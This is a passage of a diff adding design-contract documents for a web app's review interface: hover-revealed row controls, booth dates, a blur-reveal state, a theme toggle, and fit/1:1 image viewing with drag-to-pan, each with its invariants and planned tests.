wide from the row's 12px padding.
|
||||
- Accepted: the hover query uses Media Queries 4 `not (...)`. An engine
|
||||
without MQ4 drops the whole query, and the failure is the safe
|
||||
direction: the controls show, in flow.
|
||||
- Known limit: the touch-LAPTOP branch (a fine primary pointer plus a coarse
|
||||
one) cannot be emulated, because Chromium's touch emulation makes the
|
||||
primary pointer coarse. That branch is covered by reading the media query,
|
||||
not by a test. Hover-only would mean no
|
||||
controls at all on touch. Every control there is at least 28px square
|
||||
(r2's Slate T2 floor).
|
||||
- **× hides with the others** (OPEN-1, answered yes). A visible × on every row
|
||||
would be a standing invitation to the one irreversible action. A visible × on
|
||||
every row is a standing invitation to the one irreversible action, and hiding
|
||||
the safe controls while the destructive one stays inverts the priority. It
|
||||
appears with the cluster, last, set apart.
|
||||
- Unchanged: the forms, their POST targets, `data-confirm`, `data-booth`, the
|
||||
confirm script and its `shown()`, the ≥28px coarse-pointer floor, and "no page
|
||||
scrolls sideways at any width".
|
||||
|
||||
### D1b — dates (operator, added 2026-09-23: "I think I want creation and update dates on the booths now too")
|
||||
|
||||
Merge 2, with the row. booth-dev has put both on the record (thread
|
||||
01M38D39ANKF2TW2F15TEYJ1GT):
|
||||
- `created_at` is the directory's birth time via `statx`, a float epoch, or
|
||||
None when the filesystem cannot say. None renders as NOTHING, never a guess.
|
||||
- "Updated" is `landed_at`, the content clock the "new" section already reads.
|
||||
|
||||
They render on the Desk row's facts line and in the booth header's status line
|
||||
as dated FACTS, a different kind of thing from the lifetime pill (state) and the
|
||||
controls (actions). One macro, `_dates.html`, serves both:
|
||||
- **created** is a DATE, "created 12 Sep" (with the year only when it is not
|
||||
this year's);
|
||||
- **updated** is an AGE, "updated 5d ago", measured from ONE clock per page
|
||||
(`now` in the context), so every row is measured from the same instant;
|
||||
- each is a `<time>` with `datetime` (ISO) and its exact local stamp as the
|
||||
title;
|
||||
- **updated shows whenever it differs from created by a minute or more,
|
||||
EITHER way.** Copied files keep their mtimes while the folder is born now,
|
||||
so content can be older than its booth. Within a minute, one date;
|
||||
- a content clock AHEAD of now is said as its DATE, never as an age ("updated
|
||||
just now" would be false);
|
||||
- an age is in its largest whole unit, a day being 24h;
|
||||
- a date the filesystem cannot give, or the calendar cannot hold, renders
|
||||
NOTHING. The filters never raise: the Desk renders every row in one
|
||||
response, so one unrenderable clock would otherwise 500 the index for every
|
||||
booth.
|
||||
|
||||
## D2 — Reveal all (blur ruling A)
|
||||
|
||||
- **One STATE per booth, shown by a control in two places: "👁 reveal all —
|
||||
blur is cosmetic" / "🙈 blur again".** It appears in the booth header, the
|
||||
review's top bar and a blurred doc's own top bar. Every instance sits OUTSIDE
|
||||
every `data-region`, so no in-place swap replaces it: its state lives in the
|
||||
tab, and a swap must never reset it. Below 600px it reads "👁 reveal all";
|
||||
its title still says the blur is cosmetic. The server puts the control in the markup only
|
||||
where it can act, and always with the `hidden` attribute: in the header when
|
||||
any item of the booth is blurred (`Item.blurred`), and in the review when any
|
||||
item of the review RING is (a blurred doc is not on the review page, so a
|
||||
control there would act on nothing). The script removes `hidden` and binds it. Without
|
||||
JS it is in the markup but never shown.
|
||||
- **State: `sessionStorage["booth.reveal:" + <booth name>] = "1"`.** Per booth,
|
||||
per tab, gone when the tab closes, so a blurred booth is blurred again next
|
||||
time. Nothing reaches the server.
|
||||
- A READ that throws (a private window, blocked site data) reads as "not
|
||||
revealed".
|
||||
- A WRITE that throws still applies the click to the page in front of you:
|
||||
it is only not remembered for the next page. A control that does nothing
|
||||
when clicked is a defect. Neither case ever raises.
|
||||
- **The mechanism is one class on `<html>`, `reveal-all`.** CSS lifts the blur
|
||||
under it on every booth surface: tiles, the flag tray, the filmstrip and the
|
||||
review stage. `<html>` is outside every `data-region`, so an in-place swap
|
||||
can never drop it.
|
||||
- `<html data-booth="<name>">` is on EVERY page rendered for one booth: the
|
||||
booth page, the review, the doc view and the marks page. It is an
|
||||
autoescaped attribute, read by `getAttribute` and never templated into
|
||||
script. An early `<head>` script adds `reveal-all` before first paint when
|
||||
that booth's key is set, so a revealed booth does not flash blurred on the
|
||||
next page of the reel.
|
||||
- Because every change of page is a full load, the class is re-decided per
|
||||
page, from that page's `data-booth`. Booth A's reveal cannot follow you
|
||||
into booth B.
|
||||
- The index's `<html>` carries no `data-booth` (its rows' own `data-booth`
|
||||
attributes are unrelated), so **nothing on the index is revealed by D2**,
|
||||
the Desk strip included.
|
||||
- **A board holding files gets both controls.** Only the one-click wipe is
|
||||
board-suppressed; an item's "◉ booth" label points at the header control,
|
||||
so the control must be there.
|
||||
- **The full-page doc view is blurred honestly.** A blurred doc's own page
|
||||
renders its body blurred, with its own JS-only reveal; Reveal all lifts it
|
||||
by the same `<html>` class.
|
||||
- **The per-item reveal defers to it, BY STYLESHEET.** Under `.reveal-all` the
|
||||
per-tile and stage reveal buttons are `display: none`. That is a CSS
|
||||
consequence of the class, so markup swapped in after a save obeys it with no
|
||||
script. Reveal all never touches an item's own `revealed` class: "blur
|
||||
again" returns every item to exactly the per-item state it had, an item
|
||||
revealed on its own staying revealed.
|
||||
- INV-8 of r2 holds: the server renders every blurred item blurred; the reveal
|
||||
stays per-browser and client-side; the copy keeps saying it is cosmetic.
|
||||
|
||||
## D2b — the booth blur toggle (added after the contract panel was dispatched)
|
||||
|
||||
booth-dev landed the whole-booth marker and its route while the panel was
|
||||
reading; this is the control the operator uses, which the blur ruling assumed.
|
||||
|
||||
- **"◌ blur booth" / "◉ booth blurred" in the booth header and the review's
|
||||
top bar (`.vbar`)**, each wrapped in its OWN region, `blur-booth`. Its label is
|
||||
server state, so an in-place save refreshes it with everything else; a fog
|
||||
set elsewhere since the page loaded would otherwise leave it saying "blur
|
||||
booth". It is a plain `<form method=post action=/b/<name>/blurbooth>` with
|
||||
`on=1|0`, so it works with scripts off (INV-2). From the review it carries
|
||||
`back=<rel>`. The route lands on the review only when `back` is an item of
|
||||
the review ring, and otherwise on the booth page; the landing is built from
|
||||
the ring, never echoed.
|
||||
- **Fogging never writes through a link.** booth-dev's `set_booth_blurred` used
|
||||
`touch()`, which followed a planted `.blurbooth` symlink: a click of this
|
||||
control rewrote an outside file's mtime, or created a dangling target. Any
|
||||
entry already at the name reads as fogged, so nothing is written; otherwise
|
||||
the marker is created with `O_CREAT | O_EXCL | O_NOFOLLOW`.
|
||||
- **Space never hijacks a focused control.** The review's Space-to-advance
|
||||
ignores a focused button, link or summary, so a keyboard can press these
|
||||
controls.
|
||||
- **Its state comes from the server**, never from the client:
|
||||
`booth_blurred = is_booth_blurred(booth)` in both contexts. The label says
|
||||
what IS, and pressing it flips it.
|
||||
- **The Desk row carries a `blurred` badge** when `booth_blurred`, so a fogged
|
||||
strip says why. It is one `is_booth_blurred` call per booth in the pass
|
||||
`list_booths` already makes. The badge is information: it is not the
|
||||
control, and it does not hide on hover.
|
||||
- It is independent of Reveal all. Fogging a booth sets server state for every
|
||||
viewer; Reveal all lifts the fog for one tab.
|
||||
- **Each item's own blur control tells the truth under a fogged booth.**
|
||||
`Item.blurred` is the COMPOSED fact (own OR booth). The per-item form changes
|
||||
only the item's own entry in `.blurred`, so the gallery also carries
|
||||
`blurred_self`, from `Item.blurred_self` (the same single read `booth_items` makes for `blurred`).
|
||||
- An item blurred only because the booth is shows "◉ booth", a label with no
|
||||
form, pointing at the header. A per-item un-blur there would be overridden
|
||||
by the booth flag and visibly do nothing.
|
||||
- An item blurred on its own keeps its "◉ blurred" un-blur.
|
||||
- Found by rendering the built page, not by any review.
|
||||
|
||||
## D3 — the theme toggle
|
||||
|
||||
- **System · Light · Dark, in the top bar of every page.** A segmented control
|
||||
of three buttons with `aria-pressed`. The top bar is outside every
|
||||
`data-region`, so no swap replaces it. It is in the markup with `hidden`,
|
||||
and the script removes that and binds it.
|
||||
- **State: `localStorage["booth.theme"]` ∈ {`light`, `dark`}; absent = System.**
|
||||
The opposite lifetime to Reveal all, deliberately: a theme should outlive the
|
||||
tab, a reveal must not. A READ that throws reads as System. A WRITE that
|
||||
throws still applies the choice to this page, and it is only not
|
||||
remembered.
|
||||
- **Mechanism: `data-theme` on `<html>`.** Absent = the OS preference, exactly
|
||||
today's sheet. An early `<head>` script sets it before first paint, so a
|
||||
forced theme never flashes the other one.
|
||||
- **A choice made in another tab moves every open Booth page** (the `storage`
|
||||
event), as it moves the ask chrome.
|
||||
- **System is live-following BY CONSTRUCTION.** Choosing System removes
|
||||
`data-theme`, and the `prefers-color-scheme` media query takes over. A media
|
||||
query tracks the OS live, so no `matchMedia` listener is needed: JS never
|
||||
computes the theme.
|
||||
- **The token sheet is re-vendored at the same SVOS SHA (ed2f8d8) with a new
|
||||
scoping transform, and no value changes.** The complete selector list:
|
||||
|
||||
| block | selector |
|
||||
|---|---|
|
||||
| primitives, dark, art layer | `:root` (unconditional: dark is the default, and what forced dark leaves standing) |
|
||||
| light + art-light | `@media (prefers-color-scheme: light)` → `:root:not([data-theme="dark"])` |
|
||||
| light + art-light | `:root[data-theme="light"]` |
|
||||
| dark-hc | `@media (prefers-contrast: more)` → `:root` |
|
||||
| light-hc | `@media (prefers-contrast: more) and (prefers-color-scheme: light)` → `:root:not([data-theme="dark"])` |
|
||||
| light-hc | `@media (prefers-contrast: more)` → `:root[data-theme="light"]` |
|
||||
|
||||
- **Forced dark** excludes both light rows, so the unconditional dark block
|
||||
stands, with dark-hc under more contrast.
|
||||
- **Forced light** matches the bare light row at specificity (0,2,0), which
|
||||
beats dark-hc's `:root` (0,1,0). The light-hc row then applies under more
|
||||
contrast.
|
||||
- **The preservation check runs in BOTH directions at vendoring time**:
|
||||
every declaration of the old sheet is in the new, and the new has none the
|
||||
old lacked. The committed test checks each re-scoped copy against the
|
||||
UNMOVED dark block. SVOS's light and dark declare the same 42 properties,
|
||||
and its dark-hc and light-hc the same 41, so a declaration the transform
|
||||
drops fails it. Light declares every dark-block property PLUS the art
|
||||
layer's four light-only values (the three shadows and the armed glow).
|
||||
That extra set is written in the test from SVOS, never derived from the
|
||||
copies, so dropping it from both copies fails too.
|
||||
- **No JS: no toggle, and the page follows the OS**, as today.
|
||||
- **The toggle reaches inside verbatim pages** (operator: "theme toggle reaches
|
||||
inside"). `embed.js` reads the same `localStorage["booth.theme"]` (the same
|
||||
origin) and marks each `.bk-ask` IT MOUNTED (never an author's own element
|
||||
of that class) with `data-bk-theme`. Its
|
||||
colours follow that attribute exactly as the Booth's own sheet follows
|
||||
`data-theme`: forced when set, OS when absent. It follows a change made in
|
||||
another tab through the `storage` event. It sets nothing on the host page's
|
||||
own `<html>`: the author's page is not ours to theme, only our guest chrome
|
||||
inside it. If a forced theme makes the chrome look actively broken against
|
||||
a host page, that goes back to the operator rather than being absorbed.
|
||||
|
||||
## Invariants
|
||||
|
||||
- **INV-1 — nothing new on the server beyond READS.** No route and no file are
|
||||
added: `booth_blurred` in two contexts and on the Desk row (`is_booth_blurred`),
|
||||
and `blurred_self` per gallery item (`Item.blurred_self`, from `booth_items`' one read). D2 and D3 are per-browser state; D1 is markup and CSS.
|
||||
- **INV-2 — JS-off parity (r2 INV-3).** Every control on the row works with
|
||||
scripts off. Reveal all and the toggle do not render without JS. The page
|
||||
follows the OS.
|
||||
- **INV-3 — no reserved room for a hidden control** where a real hover exists.
|
||||
The box of every element in the row other than the cluster — the strip, each
|
||||
preview image, the text column, the side column, the pill — is identical
|
||||
with the cluster present or removed.
|
||||
- **INV-4 — blur honesty (r2 INV-8).** Nothing on the index is revealed by D2.
|
||||
- **INV-5 — autoescape.** The booth name reaches the reveal-state machinery
|
||||
only as an escaped attribute value (`data-booth`), read by `getAttribute` and
|
||||
never templated into a script.
|
||||
- **INV-6 — no flash.** A forced theme and a set reveal are applied before
|
||||
first paint.
|
||||
|
||||
## TESTS
|
||||
|
||||
- `the_row_controls_take_no_room_where_a_hover_exists` [tracer]: at rest the
|
||||
cluster is at opacity 0 and cannot be clicked. On row hover it is at opacity 1
|
||||
and a click on keep reaches the server. The box of every other element in
|
||||
the row is identical with the cluster removed. The cluster's box never
|
||||
intersects the text or side column, at 390 / 720 / 1000 / 1400px.
|
||||
- `on_touch_the_row_controls_are_visible_in_flow_and_at_least_28px`: a touch
|
||||
context (no hover, coarse pointer).
|
||||
- `the_lifetime_pill_class_is_kept_held_or_counting`: the class is chosen by
|
||||
state, the lifetime words are unchanged, and the pill is visible with no
|
||||
hover.
|
||||
- `the_row_controls_run_zip_keep_or_release_then_wipe`.
|
||||
- `reveal_all_reveals_every_blurred_surface_and_survives_the_next_page`: tiles
|
||||
and tray on the booth page, stage and filmstrip on the review, across a
|
||||
navigation in the same tab; a fresh tab (new context) is blurred again.
|
||||
- `reveal_all_never_reaches_the_desk`.
|
||||
- `the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review`: header
|
||||
and review forms POST `/blurbooth`; the label follows `is_booth_blurred`; the
|
||||
review form carries `back`; the Desk row shows `blurred`.
|
||||
- `reveal_all_survives_an_in_place_save`: after a save, the blur is still
|
||||
lifted, the control still reads "blur again" and still works, and the
|
||||
per-tile buttons are still hidden.
|
||||
- `reveal_all_on_booth_a_does_not_reveal_booth_b`.
|
||||
- `blur_again_restores_each_items_own_reveal`.
|
||||
- `reveal_all_is_absent_without_blurred_items_and_hidden_without_js`: no markup
|
||||
when nothing is blurred; with blurred items, the markup carries `hidden` and
|
||||
a JS-disabled context never shows it.
|
||||
- `a_storage_failure_still_applies_the_click`: sessionStorage and localStorage
|
||||
throwing on write; the reveal and the theme still apply to the page.
|
||||
- `the_theme_toggle_forces_light_and_dark_and_system_follows_the_os_live`:
|
||||
pressing Light/Dark changes `--surface-base` and survives a reload (new page,
|
||||
same context); System plus an emulated OS scheme flip changes it WITHOUT a
|
||||
reload.
|
||||
- `a_forced_theme_follows_high_contrast`: under `prefers-contrast: more`,
|
||||
forced dark resolves exactly what OS dark does, and forced light what OS
|
||||
light does. The check reads tokens that DIFFER between a theme and its
|
||||
high-contrast variant (`--text-faint`, `--border-default`; `--surface-card`
|
||||
is the same in both and would prove nothing), and asserts that high contrast
|
||||
actually changed them.
|
||||
- `a_forced_theme_and_the_os_theme_are_the_same_declarations`: each light copy
|
||||
equals the other and declares the dark block's property set plus the four
|
||||
art-light values; each light-hc copy equals the other and declares exactly
|
||||
the dark-hc block's.
|
||||
- `created_and_updated_are_dated_facts_and_none_says_nothing`,
|
||||
`updated_shows_whenever_it_differs_from_created_and_a_future_one_says_its_date`,
|
||||
`a_date_no_calendar_can_hold_renders_nothing_and_never_500s`,
|
||||
`an_age_is_said_in_its_largest_whole_unit` (D1b).
|
||||
- `a_rows_booth_name_comes_before_its_controls_in_tab_order`,
|
||||
`the_pill_shows_at_rest_and_focus_reveals_the_controls`,
|
||||
`with_scripts_off_a_rows_controls_still_act` (D1).
|
||||
- `a_theme_chosen_in_one_tab_moves_the_others`,
|
||||
`the_theme_marks_only_the_ask_fragments_we_mounted` (D3).
|
||||
|
||||
## Assertions that change (declared before the code)
|
||||
|
||||
| test | today | after | why |
|
||||
|---|---|---|---|
|
||||
| test_flow_browser `test_a_rows_keep_release_and_wipe_take_no_room_of_their_own` | controls visible at rest; a row with no badge has no side column (gap ≤14px) | replaced by `the_row_controls_take_no_room_where_a_hover_exists` | the operator ruled hover-reveal; the side column now always holds the lifetime pill |
|
||||
| test_flow_browser `test_on_a_touch_screen_the_row_controls_keep_their_tap_floor` | measures `.desk-facts form button` | the same floor, measured on `.desk-acts` controls | the controls moved; the floor did not |
|
||||
| test_flow_browser `test_the_wipe_dialog_shows_what_is_being_wiped_and_never_fails_open` | clicks the row's wipe at rest | hovers the row first, then clicks | wipe is hidden until hover (OPEN-1, answered yes) |
|
||||
| tests/mutations/r2_flow.toml, four rows on the facts-line controls | proved the controls visible at rest on the facts line | retired, with successors in r2b.toml | their tests were replaced, as declared above |
|
||||
|
||||
## Out of scope
|
||||
|
||||
- The booth page header's keep / release / wipe (`.keep-lg`, `.wipe-lg`) — the
|
||||
rulings named the Desk row.
|
||||
- A site-wide blur switch (ruling A, not B).
|
||||
- The tagline copy.
|
||||
@@ -0,0 +1,198 @@
|
||||
---
|
||||
contract_version: "0.1"
|
||||
status: "PROPOSED 2026-09-23 by design-dev; heid contract panel (4/4) folded, from the operator's ask relayed by booth-dev (thread 01M38FPYAY5RSMSB9BGQ23CFM7) and his ruling 'Fit may enlarge' (thread 01M38EESKR8T7A8XMCQPHRNP0E). Sequenced after r2b and before r3 (compare), so compare reuses this machinery rather than growing a second copy."
|
||||
module: "templates/view.html + base.html CSS (the review stage: fit / 1:1, the prev/next arrows, drag-pan)"
|
||||
purpose: "The operator, verbatim: 'fit and 1:1 modes as well as moving the forward and back arrows closer to the edge of the image instead of out at the edges unless the image spans the entire width. mouse click and pan for 1:1 mode if it exceeds page width (defeat drag drop of image)'. Fit/1:1 exists but hides whenever a picture fits at natural size, and Fit never enlarges, so the two modes often look identical and the toggle comes and goes from picture to picture. The arrows sit at the stage's edges, hundreds of pixels from a portrait picture. 1:1 pans only by scrollbars, and a drag picks the picture up."
|
||||
depends_on:
|
||||
- "view.html (R2 C6): the stage `#vstage` (server-rendered `vstage fit`), `#vimg`, `#vtoggle` with `#btn-fit`/`#btn-one`, the `.vnav.vprev`/`.vnav.vnext` anchors inside `.review-body`, the review keys and their `isEditable` guard."
|
||||
- "base.html: `.vstage`, `.vstage.fit`, `.vstage.one`, `.review-body` (grid: stage + 360px rail; stacked at <=900px)."
|
||||
- "r2b D2: Reveal all and the stage's own reveal (`#vreveal`) — untouched; they read the blur classes, not the fit classes."
|
||||
language: "jinja + css + a little javascript"
|
||||
complexity: "medium"
|
||||
estimated_loc: 220
|
||||
confidence: 0.7
|
||||
touches:
|
||||
- "booth/templates/view.html (the toggle markup; the stage-mode script; the arrow placement; drag-pan)"
|
||||
- "booth/templates/base.html (Fit-fills CSS; 1:1 cursor; the stage reveal's position; `stage-one` in the head script)"
|
||||
- "tests/test_flow.py, tests/test_flow_browser.py; tests/mutations/r2c.toml (new)"
|
||||
assumptions:
|
||||
- "ONE VIEWER, per r2: the stage mode is a per-browser preference."
|
||||
- "No server change: every part of this is markup, CSS and page script."
|
||||
---
|
||||
|
||||
# R2c — the review stage
|
||||
|
||||
## S1 — Fit fills; 1:1 is the pixel truth
|
||||
|
||||
- **Fit scales the picture to the largest size at which it is WHOLE inside the
|
||||
stage, UP or down, undistorted** (ruling "Fit may enlarge"): contain, never
|
||||
cover — nothing is ever cropped in Fit. It is CSS: the image box fills the
|
||||
stage and `object-fit: contain` places the picture in it. So the no-JS render
|
||||
is also Fit-fills — a declared change to R2's INV-3 note ("with scripts off
|
||||
the image shows at fit size"): the size changes, the promise (one picture at a
|
||||
readable size, no judgment behind a script) holds.
|
||||
- The drop shadow follows the picture's own pixels (`drop-shadow`), not the
|
||||
letterboxed box, on every path: blurred (`blur() drop-shadow()`, because
|
||||
`filter` is one property and a blur rule would replace the shadow),
|
||||
revealed, and under Reveal all.
|
||||
- **1:1 shows natural pixels**, centred when smaller than the stage and
|
||||
scrollable when larger, with EVERY pixel reachable. The stage aligns to its
|
||||
START edge in 1:1, and the picture's auto margins centre it when it is
|
||||
smaller. A centred flex item larger than its scroll box overflows both
|
||||
sides, and the start side can never be scrolled to (heid code-review,
|
||||
measured: a 3000px picture hid its leftmost 980px). The upscale softness in Fit is exactly why 1:1 exists
|
||||
and is always one click away.
|
||||
|
||||
## S2 — the toggle is always there for a picture
|
||||
|
||||
- **Fit | 1:1 shows for EVERY picture**, never hidden because a picture happens
|
||||
to fit — that per-picture hide is why the operator could not find the
|
||||
feature. Video and audio still get no toggle.
|
||||
- It is in the markup with `hidden` for pictures only; the script removes
|
||||
`hidden`. Without JS it never shows (Fit-fills needs no toggle).
|
||||
- **The mode persists across prev/next, per browser**: every click writes
|
||||
`localStorage["booth.fit"]` = `one` or removes it (Fit); arrowing through a
|
||||
set in 1:1 is how detail gets compared.
|
||||
- **The mode is ONE class on `<html>`, `stage-one`** (absent = Fit), set by
|
||||
the early `<head>` script — the one r2b uses for the theme and Reveal all —
|
||||
BEFORE THE STAGE EXISTS in the document. So no paint can ever show a 1:1
|
||||
reel's stage in Fit: the class is there before the stage is parsed. The
|
||||
stage's CSS keys off it (`.stage-one .vstage`); the server renders the
|
||||
stage as plain `vstage` (Fit is the default, no class needed).
|
||||
- A stored value other than `one` reads as Fit. A read that throws reads as
|
||||
Fit; a write that throws still applies the click, the pressed state
|
||||
included. Never raises.
|
||||
- A mode chosen in another tab moves every open review (the `storage` event),
|
||||
as the theme does.
|
||||
- The buttons' pressed state is drawn from the `<html>` class, the one
|
||||
record of the mode on the page (storage is its memory, off the page).
|
||||
|
||||
## S3 — the arrows sit at the picture
|
||||
|
||||
- **Each arrow sits wholly outside the picture's DRAWN edge, its near edge 8px
|
||||
from the picture**, vertically centred on the stage. The measure is always
|
||||
the DRAWN picture, never the file's natural size: the `object-fit: contain`
|
||||
content box (from the natural size and the box). In 1:1 (scale 1) that IS the
|
||||
picture's own box, and where it runs past the stage the clamp keeps the arrows
|
||||
inside. A
|
||||
video's own box counts the same way; audio keeps the stage-edge arrows.
|
||||
- **Clamped to the stage's CLIENT box**: an arrow never goes past the stage's
|
||||
edge (8px inset), never over the rail, never off the stage, and never under
|
||||
a classic scrollbar (the client box excludes it). When there is no room for
|
||||
it outside the drawn picture — the drawn picture spans, or nearly spans, the
|
||||
stage's width — it sits at the stage edge, over the picture. That is the
|
||||
ONLY case the arrows sit at the stage edge (the operator: "closer to the edge
|
||||
of the image instead of out at the edges unless the image spans the entire
|
||||
width").
|
||||
- Re-placed on picture load (or at once when it is already loaded), stage
|
||||
resize (a `ResizeObserver`, which covers window resizes and the rail
|
||||
stacking) and mode switch. (Scrolling a 1:1 picture cannot move its drawn
|
||||
horizontal edges past the clamp, so it needs no re-placement.)
|
||||
- **Before the picture's size is known** (JS on, picture still loading), and if
|
||||
it fails to load, the arrows stay at their CSS spot; they move once the drawn
|
||||
box is known. Without JS they stay there. If the size ever becomes unknown
|
||||
again, a placed arrow returns to that spot rather than keeping a stale one.
|
||||
- That CSS spot is the STAGE's vertical centre. When stacked (≤900px) that
|
||||
is 30vh down: the stage is the body's first 60vh, and centring on the
|
||||
whole body put the arrows over a tall rail (heid code-review). The rule
|
||||
lives in view.html after `.vnav`, because a base.html rule loses to the
|
||||
page's own later one.
|
||||
- The anchors, their classes and their hrefs are unchanged (test_booth,
|
||||
test_navigation, test_flow pin them).
|
||||
|
||||
## S4 — drag to pan in 1:1
|
||||
|
||||
- **In 1:1, when the picture overflows the stage on EITHER axis,
|
||||
press-and-drag pans it**, along whichever axes overflow. `grab` cursor at rest,
|
||||
`grabbing` while dragging, pointer capture.
|
||||
- **The picture follows the pointer** (the grab convention): a drag of +dx,
|
||||
+dy changes the stage's scroll by −dx, −dy.
|
||||
- A press that moves less than 4px IN TOTAL (Euclidean) is not a drag:
|
||||
nothing pans. A (3, 3) diagonal is 4.24px, so it pans.
|
||||
- A press on the stage's own scrollbar is the scrollbar's, never a pan.
|
||||
- The drag is CAPTURED once it begins, so it keeps panning past the stage's
|
||||
edge. A press released outside the stage before the drag began never
|
||||
becomes a pan: a move with no button held ends it.
|
||||
- **Pan listens on the stage only**, and no control is in the stage's
|
||||
scrolled content: the arrows never were, and **the stage's own reveal
|
||||
button moves OUT of the stage to sit over it** (found building this: in
|
||||
1:1 a panned picture carried the button out of view with it). So a control
|
||||
is never a pan source and keeps its own click, at any scroll.
|
||||
- That reveal is JS-only, so it renders `hidden` until the script binds it,
|
||||
the toggle's pattern (heid bug-hunt: shown with scripts off, it did
|
||||
nothing). A revealed picture keeps Fit's drop shadow.
|
||||
- Accepted: no `touch-action`. On touch the stage scrolls natively, and the
|
||||
pan yields on `pointercancel`; `none` would take native touch scrolling
|
||||
away. The `dragstart` `preventDefault` sits beside `draggable=false` as a
|
||||
second layer.
|
||||
- **The picture cannot be dragged away**: `draggable="false"` on `#vimg` and a
|
||||
`dragstart` `preventDefault` on the stage.
|
||||
- Fit, or a 1:1 picture that fits: no pan, no grab cursor.
|
||||
- Keys, the stage reveal, Reveal all, the rail and the filmstrip are
|
||||
unchanged.
|
||||
|
||||
## Invariants
|
||||
|
||||
- **INV-1 — no server change.** Markup, CSS, page script.
|
||||
- **INV-2 — JS-off parity.** Without JS: Fit-fills, stage-edge arrows, no
|
||||
toggle, no pan, and every judgment (the rail's flag, note and pick forms) and
|
||||
navigation (the arrows and the filmstrip) intact.
|
||||
- **INV-3 — one record of the mode** on the page: `stage-one` on `<html>`.
|
||||
- **INV-4 — the arrows never cover the rail and never leave the stage.**
|
||||
- **INV-5 — storage never raises**, read or write.
|
||||
|
||||
## TESTS
|
||||
|
||||
- `fit_fills_the_stage_up_or_down` [tracer]: a picture smaller than the stage
|
||||
and one larger both draw at the scale `min(W/w, H/h)` in Fit — the contain
|
||||
content box, never cropped — and at natural size in 1:1.
|
||||
- `the_toggle_shows_for_every_picture_and_never_without_js`: a picture that
|
||||
fits at natural size still gets the toggle; video and audio do not; with JS
|
||||
off it never shows.
|
||||
- `the_mode_persists_across_prev_next_and_never_flashes`: choose 1:1, press
|
||||
→ ; an observer installed before any page script records `<html>`'s class at
|
||||
the moment the stage ELEMENT is inserted by the parser — it is already
|
||||
`stage-one` (so no paint can show that stage in Fit); storage throwing still
|
||||
applies the click; a stray stored value reads as Fit.
|
||||
- `the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage`: a portrait
|
||||
picture whose natural width exceeds the stage but which is DRAWN narrower
|
||||
(height-bound in Fit) — each arrow wholly outside the drawn picture, its near
|
||||
edge 8px (±2) from it; a landscape drawn as wide as the stage — arrows inside
|
||||
the stage at its edges, over the picture, never over the rail; after a window
|
||||
resize they follow the new drawn box.
|
||||
- `in_one_to_one_every_pixel_of_a_large_picture_is_reachable`: at scroll
|
||||
(0, 0) the picture's top-left is the stage's; at the far scroll its
|
||||
bottom-right is; a small picture is centred.
|
||||
- `a_pan_holds_past_the_stage_edge_and_never_starts_on_a_hover`: a drag
|
||||
carried past the stage's edge keeps panning; a press released outside,
|
||||
then a buttonless hover, pans nothing.
|
||||
- `before_placement_the_arrows_never_sit_over_the_rail_on_a_narrow_screen`:
|
||||
JS off at 390px with a rail taller than the stage, the arrows sit within
|
||||
the stage; a picture that fails to load leaves them unplaced, with no error.
|
||||
- `the_stage_reveal_never_shows_without_js_and_keeps_the_fit_shadow`.
|
||||
- `a_stage_mode_chosen_in_one_tab_moves_the_others`.
|
||||
- `a_classic_scrollbar_is_neither_under_an_arrow_nor_a_pan`: with a forced 15px
|
||||
classic bar (asserted real first: headless Chromium hides scrollbars), the
|
||||
next arrow sits inside the client box, and a press dispatched on the bar
|
||||
pans nothing.
|
||||
- `a_picture_that_overflows_one_axis_pans_along_it`.
|
||||
- `in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away`: a picture
|
||||
overflowing both axes in 1:1 — a drag of (+80, +60) changes the scroll by
|
||||
(−80, −60); a 2px press pans nothing; a press on the stage's reveal button
|
||||
reveals and does not pan; `#vimg` is `draggable=false`; in Fit a drag does not
|
||||
scroll.
|
||||
|
||||
## Assertions that change (declared before the code)
|
||||
|
||||
| test | today | after | why |
|
||||
|---|---|---|---|
|
||||
| test_flow_browser `test_the_next_arrow_clears_the_rail_only_beside_it` | the next arrow's computed `right` is 360px wide / 0px narrow | replaced by `the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage` (never over the rail; at the picture's edge) | the arrows now track the picture, not the stage edge (operator) |
|
||||
| test_flow_browser `test_reveal_all_reveals_every_blurred_surface_and_survives_the_next_page` (r2b) | the revealed review stage's filter is `none` | it carries no blur (`blur(` absent); Fit's `drop-shadow` stays | the stage keeps its shadow on every path (S1) |
|
||||
| tests/mutations/r2_flow.toml, the row on the next arrow's 360px offset | proved `.vnext{right:360px}` wide / 0 narrow | retired, with successors in r2c.toml | its test was replaced (row one above) |
|
||||
| test_flow `test_only_a_picture_gets_the_fit_toggle_and_blur_stays_honest` | `id="vtoggle"` present for a picture (hidden by inline style); the stage is `class="vstage fit is-blurred"` | the same presence, now with the `hidden` attribute; the stage is `class="vstage is-img is-blurred"` | the toggle is `hidden` until the script shows it; the mode moved to `<html>` (never flash); `is-img` scopes the picture-only 1:1 rules |
|
||||
|
||||
## Out of scope
|
||||
|
||||
- Synced pan / the same crop across items, and two panes: r3 (compare).
|
||||
- A zoom level between Fit and 1:1, wheel zoom, pinch.
|
||||
- A key for the mode toggle.
|
||||
@@ -0,0 +1,345 @@
|
||||
---
|
||||
contract_version: "0.1"
|
||||
status: "PROPOSED 2026-09-24 by design-dev. The operator ruled compare into this arc on 2026-09-23 (the `flow` mark: compare `this_arc`, as C 'The Bench' made a view toggle). He ruled its two open questions on 2026-09-24, in design-dev's session: pairs are PICKED, never detected; the verdict is a FLAG on the winner, with no A/same/B record. booth-dev agreed with both beforehand (thread 01M3952NCDRRJX5XDFSPMSP5HJ), and asked that the URL be keyed by rel. It reuses r2c's stage machinery rather than growing a second copy."
|
||||
module: "GET /b/{name}/compare + templates/compare.html (two stages, one judgment each), with the stage machinery shared with view.html"
|
||||
purpose: "Put two items of a booth side by side in two equal stages (and, for pictures of the same size in 1:1, at the same crop), so the operator can judge which is better and flag the winner, then step to the next pair. This is the job the ladders and bakeoffs already run by eye across two tabs. sindra-bakeoff is the proving case: m against r, the same scene and seed, 16 pairs. It is laid out as two parallel runs in sorted order, so a linked step walks it pair by pair with no pairing rule."
|
||||
depends_on:
|
||||
- "items.py: `booth_items`, `review_chain` (the media ring, in item order), `find_item`, `REVIEW_KINDS`, `Item.{rel,url,kind,ordinal,caption,blurred,thumb}`."
|
||||
